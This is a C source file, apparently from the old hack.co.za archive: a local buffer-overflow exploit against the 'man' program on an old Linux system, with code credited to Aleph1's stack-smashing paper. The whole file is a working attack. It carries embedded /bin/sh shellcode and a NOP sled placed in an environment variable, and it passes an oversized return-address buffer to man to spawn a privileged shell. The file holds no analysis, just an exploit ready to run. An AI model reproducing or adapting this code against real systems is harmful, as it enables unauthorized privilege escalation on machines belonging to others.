/*
     *
     *   Discovered and exploited by /\/ecr0mancer of [S.T.S.I]
     *   Code ripped from Smashing the Stack...Thanks to Aleph1
     *
     *   Worked with offsets between 400-800 on my 4.2 (2.0.30) system.
     */

    #include <stdlib.h>

    char shellcode[] =
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";

    unsigned long get_esp(void) {
       __asm__("movl %esp,%eax");
    }

    void main(int argc, char *argv[]) {
      char *buff, *ptr, *egg;
      long *addr_ptr, addr;
      int offset=600, bsize=4500;
      int i, eggsize=2048;

      if (argc > 1) offset  = atoi(argv[1]);

      if (!(buff = malloc(bsize))) {
        printf("Can't allocate memory.\n");
        exit(0);
      }
      if (!(egg = malloc(eggsize))) {
        printf("Can't allocate memory.\n");
        exit(0);
      }

      addr = get_esp() - offset;
      printf("Using address: 0x%x\n", addr);

      ptr = buff;
      addr_ptr = (long *) ptr;
      for (i = 0; i < bsize; i+=4)
        *(addr_ptr++) = addr;

      ptr = egg;
      for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
        *(ptr++) = 0x90;

      for (i = 0; i < strlen(shellcode); i++)
        *(ptr++) = shellcode[i];

      buff[bsize - 1] = '\0';
      egg[eggsize - 1] = '\0';

      memcpy(egg,"EGG=",4);
      putenv(egg);
      memcpy(buff,"RET=",4);
      putenv(buff);
      system("/usr/bin/man $RET");
    }
/*                    www.hack.co.za                    */